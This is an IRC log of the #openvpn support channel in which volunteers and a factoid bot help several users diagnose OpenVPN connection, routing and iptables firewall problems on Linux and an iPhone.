14:17 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 255 seconds]
14:18 -!- Devastator- is now known as Devastator
14:18 < Devastator> "local" conf parameter is not what I thought it was..
14:20 < pekster> Manpage unclear on that point? "Local host name or IP address for bind. If  specified,  OpenVPN  will bind  to  this address only. If unspecified, OpenVPN will bind to all interfaces."
14:20 < Devastator> no, not at all
14:21 < Devastator> I'm thinking my approach
14:23 < Devastator> maybe if I create a bridge and put both wan interfaces there... hum, does local accepts interfaces instead of address?
14:24 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
14:25 < Devastator> nevermind, I guess it's not good to bind openvpn to public addresses directly
14:25 < pekster> No. It makes a call to the system bind() function which binds to address, never to interfaces
14:26 < Devastator> got it
14:32 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
14:34 < DougEFresh> wat
14:44 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
14:47 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 252 seconds]
14:53 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:54 -!- max_ [~max@98.225.19.83] has joined #openvpn
15:00 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
15:00 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has quit [Ping timeout: 252 seconds]
15:01 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
15:02 < DougEFresh> what up dogs
15:03 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
15:06 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
15:14 -!- combat7331 [~Mamba@d54C65431.access.telenet.be] has joined #openvpn
15:14 < combat7331> Hello
15:14 < combat7331> I'm trying to connect to a VPN server on my linux box
15:14 < combat7331> It's running on OpenCZ
15:14 < combat7331> VZ*
15:15 < combat7331> but it seems that no traffic is passed through the tun interface
15:16 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
15:16 < pekster> !openvz
15:16 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg Xen.
15:16 < combat7331> TUN works on my OpenVZ
15:16 < combat7331> I just can't connect to a OpenVPN server
15:17 < combat7331> http://pastebin.com/VFm5UFYs
15:17 < combat7331> is the log of the client
15:18 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
15:18 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
15:18 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
15:18 -!- mode/#openvpn [+o krzee] by ChanServ
15:20 < pekster> Update your client
15:20 < pekster> 2.0.9 can't handle the toplogy push
15:20 < pekster> !download
15:20 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
15:20 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
15:20 < pekster> Your client version is over 7 years old
15:20 < combat7331> yum ...
15:20 <@krzee> !repo
15:20 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
15:21 < combat7331> 2.2.2 would do?
15:21 <@krzee> yep
15:21 < combat7331> ok, will get it from epel
15:22 -!- corretico [~luis@190.211.93.38] has joined #openvpn
15:22 -!- corretico_ [~luis@190.211.93.38] has joined #openvpn
15:22 -!- corretico [~luis@190.211.93.38] has quit [Client Quit]
15:22 -!- corretico_ [~luis@190.211.93.38] has quit [Client Quit]
15:22 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
15:22 -!- corretico [~luis@190.211.93.38] has joined #openvpn
15:22 < EugeneKay> What still has 2.0.9? CentOS 5?
15:22 < combat7331> yes
15:23 < combat7331> i think i got it from the atomic repo
15:23 < EugeneKay> Yeah, time to upgrade to 6 :-p
15:23 < combat7331> too much ram >.<
15:23 < combat7331> i like saving the 10MB ;p
15:24 < EugeneKay> .....perhaps Gentoo is a better fit for you? http://funroll-loops.info/
15:24 <@vpnHelper> Title: Welcome to Gentoo is Rice, the Volume goes to 11 here. (at funroll-loops.info)
15:24 < combat7331> used to centos :)
15:25 < combat7331> i just got so many files on this box
15:25 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
15:25 < combat7331> and its running on 16gb ram anyways
15:25 < EugeneKay> If you're squabbling about 10MB of RAM in an era where phones have 2GB.... yeah.
15:26 < combat7331> low end boxes for the win
15:26 < EugeneKay> My smallest VM has 512MB, and it runs MySQL, Apache, PHP-FPM, Postfix, and ZNC just fine
15:26 < combat7331> OS?
15:26 < EugeneKay> Scientific Linux 6
15:27 < combat7331> mine is 128MB
15:27 < combat7331> and runs CentOS 5 x86
15:27 < EugeneKay> You poor git
15:27 < combat7331> my biggest one has 32GB RAM and I use to run OpenVZ VPS's on it
15:28 < combat7331> But yea CentOS 6 would do good
15:31 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:34 < combat7331> hello pekster? it doesn't seem to be connected
15:35 < combat7331> http://pastebin.com/KYV0Vzg9
15:43 < combat7331> Does anyone have an idea?
15:46 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
15:47 <@krzee> you seriously using 1.2.3.0/24?
15:47 < combat7331> why not
15:47 <@krzee> !1918
15:47 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
15:47 < combat7331> easy to remember :p
15:47 < EugeneKay> ....you run OpenVZ VPSes, and are wanting to know why 1.2.3.0/24 is a bad idea
15:47 < combat7331> oh <.<
15:48 < EugeneKay> I think this is the part where I stop paying attention
15:48 < combat7331> used it for ages and always worked perfectly
15:50 <@plaisthos> that it works does not mean there are no problems :)
15:50 < combat7331> true
15:51 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
15:52 < combat7331> doesn't work either with a different subnet
15:57 -!- neilhwatson [~neilhwats@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
16:01 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
16:03 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
16:03 < combat7331> does anyone have a clue, i honestly don't :(.
16:06 <@krzee> what sort of connection does your client have to its default gateway?
16:06 < combat7331> ethernet
16:06 <@krzee> is it a laptop or a desktop?  (will it be changing networks?)
16:07 < combat7331> its a VPS server running OpenVZ on a VPS node connected to a datacenter network.
16:07 <@krzee> netstat -rn
16:07 <@krzee> (pastebin)
16:08 < combat7331> http://pastebin.com/UrnXNWKF
16:09 -!- db48x2 [~db48x@50-0-51-244.dsl.static.sonic.net] has joined #openvpn
16:09 <@krzee> it default routes to a vm?
16:09 < combat7331> to eth0 interface on the node yes
16:09 < db48x2> !welcome
16:09 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:09 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:09 < combat7331> thats how the network work
16:09 < combat7331> on openvz
16:10 < combat7331> I'm not sure but i think it's bridged
16:10 <@krzee> maybe route-gateway will work but i dunno
16:10 < db48x2> I guess you guys get the same questions over and over :)
16:10 <@krzee> but ya, openvpn cant figure out whats up with your default route
16:10 <@krzee> db48x2, yep ;]
16:10 < db48x2> !goal
16:10 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
16:11 < combat7331>  route-gateway just provide my gateway?
16:11 < combat7331> that my ISP gave me?
16:11 <@krzee> oh actually no nevermind route-gateway will not help
16:11 < db48x2> !/30
16:11 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
16:11 < combat7331> what would then :(
16:11 < db48x2> heh
16:12 <@krzee> combat7331,
16:12 <@krzee> !configs
16:12 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
16:13 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:13 <@krzee> combat7331, also show me this:   /sbin/ip route list exact 0.0.0.0/0
16:13 < combat7331> on client or server?
16:14 <@krzee> which machine had "Sun Feb 24 23:30:31 2013 NOTE: unable to redirect default gateway -- Cannot read current default gateway from system"
16:14 < combat7331> client
16:14 <@krzee> …then the client
16:14 < combat7331> http://pastebin.com/7ftZk1iz
16:14 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
16:15 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
16:16 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
16:18 < db48x2> so, my goal is to be able to access the internet over my vpn, but although my client's udp traffic reaches the server, it doesn't show up on the server's tun device. here's my configuration: http://pastebin.com/8jhUYazt
16:18 < db48x2> there's nothing in the log except startup messages, although I'd be happy to paste them momentarily
16:18 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
16:19 < db48x2> oh, and this is openvpn 2.2.2 on Fedora
16:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:19 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 252 seconds]
16:20 < combat7331> I'll have to go, I guess it's not possible with OpenVZ.
16:20 -!- combat7331 [~Mamba@d54C65431.access.telenet.be] has quit []
16:21 <@krzee> lol
16:21 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
16:21 <@krzee> db
16:21 <@krzee> err
16:21 <@krzee> db48x2,
16:21 <@krzee> !redirect
16:21 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:21 <@vpnHelper> http://ircpimps.org/redirect.png
16:22 <@krzee> once we get you connected, you'll be able to use that
16:22 <@krzee> but it sounds like you're stuck at the very top for now, cant connect to the vpn
16:22 <@krzee> !logs
16:22 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:22 <@krzee> (verb 5)
16:22 < db48x2> yes, I don't have the default route set in the client config, because that makes it hard to look things up :)
16:22 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Client Quit]
16:23 <@krzee> thats cool for now
16:23 < db48x2> good flowchart, yes, I'm at the very top
16:23 < db48x2> lemme show you the logs
16:23 <@krzee> lets get your vpn connected first, then we'll worry about changing the gateway
16:23 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
16:24 < db48x2> that should just be a matter of uncommenting it from the config :)
16:24 <@krzee> right
16:24 <@krzee> assuming ip forwarding is enabled and nat is configured right ;]
16:24 < db48x2> http://pastebin.com/0wUMy5sN
16:24 < db48x2> yea, it _should_ be right, but with no way to test it... :)
16:24 <@krzee> thats not verb 5
16:24 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
16:26 < db48x2> you're right, the server is at verb 4 right now; I was trying different verbosity levels
16:26 <@krzee> the config you posted had verb 3, you didnt change anything else right?
16:26 < db48x2> nothing else
16:27 <@krzee> k so make it verb 5 and post both sides
16:27 < db48x2> sure, one moment
16:32 < db48x2> hmm, interesting
16:33 < db48x2> db48x.net/temp/{server,client}.log
16:33 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 252 seconds]
16:35 <@krzee> no W and R after that?
16:35 <@krzee> i was expecting a bunch of WWW RRRR WRWRWR stuff
16:35 < db48x2> nope
16:36 <@krzee> Feb 24 14:29:18 celebdil kernel: [1073042.168148] type=1400 audit(1361744958.996:54): avc:  denied  { read } for  pid=9242 comm="openvpn" name="openvpn-key.txt" dev="sdg5" ino=4656 scontext=system_u:system_r:openvpn_t:s0 tcontext=system_u:object_r:file_t:s0 tclass=file
16:36 <@krzee> Feb 24 14:29:18 celebdil kernel: [1073042.168157] type=1400 audit(1361744958.996:55): avc:  denied  { open } for  pid=9242 comm="openvpn" path="/etc/openvpn/openvpn-key.txt" dev="sdg5" ino=4656 scontext=system_u:system_r:openvpn_t:s0 tcontext=system_u:object_r:file_t:s0 tclass=file
16:36 <@krzee> Feb 24 14:29:18 celebdil kernel: [1073042.168210] type=1400 audit(1361744958.996:56): avc:  denied  { getattr } for  pid=9242 comm="openvpn" path="/etc/openvpn/openvpn-key.txt" dev="sdg5" ino=4656 scontext=system_u:system_r:openvpn_t:s0 tcontext=system_u:object_r:file_t:s0 tclass=file
16:36 <@krzee> your kernel is stopping openvpn, selinux or something
16:36 < db48x2> selinux is in permissive mode, so that's just a warning
16:36 <@krzee> ahh
16:36 < db48x2> I do get openvpn[9246]: read UDPv4 [EHOSTUNREACH]: No route to host (code=113) every time ping tries to ping the server
16:36 <@krzee> show me iptables -L from both sides
16:38 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
16:39 < db48x2> oh dear, the client computer's firewall is complicated
16:39 <@krzee> !ipforward
16:39 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
16:39 <@krzee> err no
16:39 <@krzee> hrm
16:39 <@krzee> !linipforward
16:39 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
16:39 <@krzee> iptables -I FORWARD -i tun+ -j ACCEPT
16:39 <@krzee> try that
16:39 <@krzee> then reconnect
16:40 < db48x2> the udp packets are making it to the server though
16:40 <@krzee> do you understand the command i just pasted?
16:40 < db48x2> yes
16:40 -!- Suterusu1 [~EyeR@host81-152-141-152.range81-152.btcentralplus.com] has joined #openvpn
16:40 <@krzee> you sure?
16:41 < db48x2> it also doesn't fix it
16:41 <@krzee> which machine did you try it on?
16:41 <@krzee> also, no guartunee it will work, since you didnt paste the firewalls
16:43 <@krzee> and is your client being started as root?
16:43 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
16:43 < db48x2> http://pastebin.com/JH6NYBdC
16:44 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
16:44 <@krzee> and the other?
16:45 < db48x2> db48x.net/temp/client.iptables
16:45 < db48x2> but irrelevant, since udp packets from the client are arriving at the server
16:46 < rob0> fine, unless you blocked the tun interface
16:46 <@krzee> right
16:47 -!- Suterusu1 [~EyeR@host81-152-141-152.range81-152.btcentralplus.com] has quit [Ping timeout: 260 seconds]
16:47 <@krzee> i figured you caught that when you said you understood the command i said to enter
16:48 < db48x2> what do you mean by blocked? I'm pinging the server's vpn address from the client, and openvpn is wrapping them up and sending them to the server
16:48 < db48x2> so it can't be blocked
16:48 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:48 < db48x2> the command you gave me enables forwarding from any tun device, which is what I want to happen on the server, eventually
16:48 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
16:49 <@krzee> packets must forward to the tun device, or theres no vpn
16:49 <@krzee> ever.
16:49 < EugeneKay> openvpn is not a magical network device. The tun driver is the one built into the linux kernel.
16:49 < db48x2> I'm not going to bother having the client forward packets from my local net to the vpn
16:50 <@krzee> you're not understanding
16:50 < db48x2> only my client machine will access the vpn
16:50 < db48x2> quite possible!
16:50 < rob0> !iptables
16:50 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see http://openvpn.net/man#lbBD for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables or (#4) These is just the
16:50 <@vpnHelper> basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You can try #iptables
16:50 < EugeneKay> Packets frm the tun device have to be allowed to get forwarded to eth#, and then back the other direction for responses
16:51 <@krzee> trying to follow those rules hurts my eyes
16:51 <@krzee> im guessing they are so abstracted because of some sort of web gui compatibility or something
16:52 < db48x2> my point is merely that when I ping my server's vpn address, a udp packet arrives at the server on port 1194
16:53 < db48x2> so packets are being forwarded from the client's tun device out to the network
16:53 <@krzee> oh ya?  and is that ping making it all the way?
16:53 < db48x2> the server doesn't generate a reply
16:54 < db48x2> the packet counts on the server's tun device don't increase
16:54 <@krzee> does the server recieve the ping?
16:54 < EugeneKay> Are you firewalling ICMP
16:54 < db48x2> no, only the udp packets
16:54 < db48x2> all ICMP packets are accepted
16:55 <@krzee> i notice that your posted server iptables rules dont have the rule i told you to add
16:56 < db48x2> ACCEPT     all  --  anywhere             anywhere on chain FORWARD
16:56 <@krzee> thats the command i said to enter?
16:56 < db48x2> that's what it results in
16:57 <@krzee> nuh uhhh
16:57 < db48x2> I can run it again and add another such rule to the list :)
16:57 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:57 < db48x2> ACCEPT     all  --  anywhere             anywhere
16:57 < db48x2> ACCEPT     all  --  anywhere             anywhere
16:57 < db48x2> ACCEPT     all  --  anywhere             anywhere
16:57 < db48x2> :)
16:58 <@krzee> i guess theres some other way of seeing it where interface is in there
16:58 <@krzee> i dont  reallyuse linux
16:58 <@krzee> dont really use*
16:58 < db48x2> yea, -v
16:59 < db48x2>  pkts bytes target     prot opt in     out     source               destination
16:59 < db48x2>     0     0 ACCEPT     all  --  tun0   any     anywhere             anywhere
16:59 < db48x2>     0     0 ACCEPT     all  --  tun+   any     anywhere             anywhere
16:59 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
16:59 <@krzee> there we go
17:01 < db48x2> hahaha, I figured it out
17:01 <@krzee> what was it?
17:01 < db48x2> I never accepted udp packets on port 1194 on the INPUT chain, because I never restarted the service
17:01 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
17:02 <@krzee> the topic wins again!
17:02 <@krzee> "Your problem is probably firewall, Really"
17:02 < Suterusu> MYne isn't
17:02 < Suterusu> lol
17:03 <@krzee> we'll see bout that!
17:03 < Suterusu> lol
17:03 < db48x2> yea, firewalls are tricky, no doubt
17:03 <@krzee> heh
17:03 < rob0> and iptables is not actually a service, that's just how your distro presents it to you.
17:04 < db48x2> yes, yes
17:04 < Suterusu> If t'was me firewall it'd be total, and not intermittent - also, i'd be featuring 'random' d/c's from my VPN before the last few days (its been up ~70 days)
17:04 < db48x2> I forgot to twack it upside the head and reinitialize it's tables
17:04 <@krzee> Suterusu,
17:04 <@krzee> !goal
17:04 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
17:05 <@krzee> Suterusu, no mind-readers here ;]
17:05 < Suterusu> 'tis for tuneling me internot thru - I gets err msg in openvpn.log: Mon Feb 25 01:59:06 2013 us=362376 CBD-Orthus/81.152.141.152:37229 MULTI: bad source address from client [192.168.1.113], packet dropped -=- Pekster suggested running tcpdump on client - which I has done, muchly - Can't correlate event, tho
17:06 < rob0> hehe, internot
17:09 <@krzee> Suterusu, something running on your client is sending traffic with src ip of eth interface
17:09 <@krzee> in windows smb file sharing sometimes does that
17:10 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
17:11 < db48x2> thanks krzee, and everyone else, for your help
17:11 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
17:11 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
17:12 <@krzee> yw
17:16 < Suterusu> Did me last msg make it - or you still tryng from read minds?
17:16 <@krzee> [19:09]  <krzee> Suterusu, something running on your client is sending traffic with src ip of eth interface
17:16 <@krzee> [19:09]  <krzee> in windows smb file sharing sometimes does that
17:16 -!- db48x2 [~db48x@50-0-51-244.dsl.static.sonic.net] has quit [Ping timeout: 257 seconds]
17:16 < Suterusu> Ahh, missed tht, taa
17:16 <@krzee> np
17:17 < Suterusu> Can't spot nothing using me internal IP via tcpdump - in openvpn.log on server, however, I can see many instances of this - but they is accepted and don't result in d/c
17:17 < Suterusu> Useually towards begginin o connection
17:17 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has quit [Ping timeout: 245 seconds]
17:18 -!- folivora [~out@46.19.34.64] has quit [Ping timeout: 260 seconds]
17:19 < Suterusu> How could one set it so w/o VPN, Things can't get to the 'net?   As in, when I'm d/c;d form VPN? Or, preferably, has it reconnect to the VPN automatically?  'tis set 'connect automatically' in network manager, doesn't appear to of done much
17:24 < pekster> Suterusu: the server is printing the IP it's rejecting the access from
17:24 -!- folivora [~out@46.19.34.64] has joined #openvpn
17:24 -!- ihptru [~ihptru@164.138.25.4] has joined #openvpn
17:24 < pekster> So, if you run a VPN on 10.8.0.0/24 and your eth0 IP of client is 192.168.0.7, you might get a message something like "dropping bad src from client [client1]: 192.168.0.7"
17:25 < pekster> I forget exactly how the message is formatted, but it's telling you in my example that client1 had a bad (ie: invalid, not allowed) packet source from a "bogus" address of 192.168.0.7
17:25 < pekster> Windows likes to do that a lot as a client (at my last $job we had a big issue wih windows NTP, of all things, doing that)
17:25 < pekster> It doesn't "break" anything besides the stupid client-side program that gets it's traffic dropped for doing dumb things like that
17:26 < pekster> its*
17:29 < Suterusu> Does appear t'be my IP -  but tcp dump only shows the VPN IP - the disconnection appears to happen before the string of 'bad source'. by a few mins. I've accounted for time differences on the machines
17:29 -!- nsgn2 [~nsgn@cpe-24-28-31-68.austin.res.rr.com] has joined #openvpn
17:30 < nsgn2> howdy. this openvpn connect app on iphone is sick. only question i have about it is this: can i force all traffic over it? i can't seem to find a way to do this but i'd like to be able to
17:30 -!- db48x2 [~db48x@ec2-50-17-137-230.compute-1.amazonaws.com] has joined #openvpn
17:30 < db48x2> success!
17:30 < db48x2> thanks again
17:31 < pekster> nsgn2, you probably want to redirect traffic using the default gateway:
17:31 -!- db48x2 [~db48x@ec2-50-17-137-230.compute-1.amazonaws.com] has left #openvpn []
17:31 < pekster> !redirect
17:31 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:31 <@vpnHelper> http://ircpimps.org/redirect.png
17:32 < nsgn2> !def1
17:32 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
17:32 < nsgn2> ah. seems fairly straight forward
17:33 < nsgn2> thanks
17:33 <@krzee> Suterusu, right its not a fatal error, only those packets going over the vpn with src ip of eth interface are being dropped, everything else has src address of vpn ip and it works fine
17:33 -!- matsh_ [divine@nanogene.org] has joined #openvpn
17:33 <@krzee> Suterusu, odds are that error has nothing to do with your disconnects
17:33 -!- oc80z [oc80z@blea.ch] has quit [Excess Flood]
17:34 <@krzee> and those errors are from some app on your system using the wrong src ip
17:34 -!- oc80z [oc80z@blea.ch] has joined #openvpn
17:34 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 240 seconds]
17:34 -!- matsh_ is now known as matsh
17:37 < Suterusu> Its not 'some app' as I get disconnected
17:37 < Suterusu> This wasn't happening, say a week ago
17:37 < Suterusu> or even four days
17:38 < Suterusu> If it was something local, then tcpdump should has it? somewhere near the d/c ?
17:41 < pekster> You do not get that message on the server unless it *received* a packet with a bad source. You can't recive a packet unless it was sent
17:41 < Suterusu> netstat picks tht port no as being used by openvpn, But other than that, I can't place that connection
17:41 < pekster> huh?
17:41 < pekster> No, on the tap0 adapter
17:41 < pekster> the VPN peer has no clue what you're doing on the ethernet interface of the client. Only the tun/tap device
17:41 < Suterusu> Thats what I'm running tcpdump on, yeah
17:46 < Suterusu> http://pastebin.com/ZbY4ht2U  Note, two mins difference (Actually two hrs n four mins, but server is two hrs two mins faster)
17:46 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Quit: Leaving.]
17:46 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
17:47 < pekster> FYI, tcpdump -n is preferred as it doesn't hide port numbers behind silly names
17:47 < Suterusu> Sure I did -npi
17:49 < Suterusu> I seem to git d/c'd every ten-twenty mins, There's nothing 'new' running on here,  and I can't spot a commonality concerning d/c's, locally
17:51 < pekster> That warning in the log is curious too if that's your peer's remote IP
17:52 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
17:52 < Suterusu> eh?
17:52 < pekster> The packet length can never be larger than the link can handle, and a length of "17231" wouldn't ever make sense unless you have jumboframe support
17:52 < pekster> Line 2
17:52 < pekster> "WARNING: Bad encapsulated packet length from peer"
17:52 < Suterusu> That IP is nothing t'do with me, I think its a IRC I'm connected to
17:52 < pekster> Oh, must be an interesting port that gets scanned then
17:53 < nsgn2> heck yes. it works. time warner streaming tv over openvpn on an unjailbroken, unmodified iphone
17:55 < pekster> Suterusu: Are you sure about the time difference in your client/server? ie: 'date' shows them off by just 2 minute (not counting the hours here)
17:55 < pekster> I ask because those logs appear closer to ~7m out of sync
17:55 < pekster> So, the events may not be as related as you think (which is what I'm telling you from an operational pserspective too)
17:57 < pekster> Also, remember you'll exclude the traffic you care about if you use a filter like 'host 10.8.0.6' too
17:57 <@krzee> Suterusu,
17:57 <@krzee> !configs
17:57 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
17:59 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Quit: Leaving.]
17:59 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
17:59 < Suterusu> Remote time: Mon Feb 25 03:00:04 MSK 2013
17:59 < Suterusu> Local time:  Sun 24 Feb 23:58:02 GMT 2013
17:59 < Suterusu> Quite sure
18:05 < pekster> Then those logs are not at all related
18:06 < pekster> tcpdump vs bad packet source
18:06 < pekster> They're out of sync (after accouting for your difference) by at least several minutes
18:06 < Suterusu> Iunno, its what it spits into me terminal
18:09 < Suterusu> So.. I should be looking, say, seven mins earlier in the tcpdump?
18:09 < pekster> Later
18:09 < pekster> ~02:13 !~ ~23:08
18:09 < pekster> 5m difference
18:10 < pekster> I don't even think that's your ultimate problem
18:10 < pekster> Configs, as krzee suggested, will help explain your setup better
18:10 < pekster> There's a reason for the disconnect in the logs, which I still haven't seen
18:10 < pekster> You care about why it disconnected, not the time/IP of a badly source packet
18:11 <@krzee> the bad source stuff is likely a red herring
18:12 < Suterusu> I was hoping the time of the packet would help deduce what/why d/c
18:12 < Suterusu> and there isn't a 'later' - The adapter is d/c by that point
18:13 < pekster> server+client configs+logs are vastly more useful
18:14 < pekster> Knowing what sends that bad packet only fixes that problem, not why you're disconnected
18:15 <@krzee> exactly
18:16 -!- max_ [~max@98.225.19.83] has quit [Read error: Connection reset by peer]
